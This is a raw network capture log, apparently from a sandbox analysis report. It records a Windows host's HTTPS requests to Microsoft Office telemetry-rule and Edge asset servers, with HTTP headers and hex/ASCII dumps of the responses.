2024-11-19 00:01:43 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:43 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:43 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000143Z-16547b76f7fm8pcwhC1DFWaxcc00000004p0000000009793 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:43 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:43 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:43 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: b8bdc226-001e-00ad-799a-38554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000143Z-r18f44ddb69vchkhhC1DFWc4bs00000000s0000000001725 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:43 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:43 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 9e82d9a1-401e-0047-74f2-398597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000143Z-16547b76f7fm8pcwhC1DFWaxcc00000004g000000000yq0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:43 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a49de474-501e-007b-59ae-375ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000143Z-16547b76f7ftnm6xhC1DFW9c8c000000060000000000zgpp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:43 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:43 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000143Z-r18f44ddb69vpnwdhC1DFWa89n00000000kg00000000c6r3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:43 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49928	13.107.246.57	443	7900	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:43 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 00:01:44 UTC	564	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:44 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: cbf84498-d01e-002a-6416-3a1d42000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T000143Z-16559997f8799x6whC1DFW9y9w00000000mg00000000peuk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 00:01:44 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-19 00:01:44 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-11-19 00:01:44 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-11-19 00:01:44 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-19 00:01:44 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-19 00:01:45 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-11-19 00:01:45 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-19 00:01:45 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-11-19 00:01:45 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
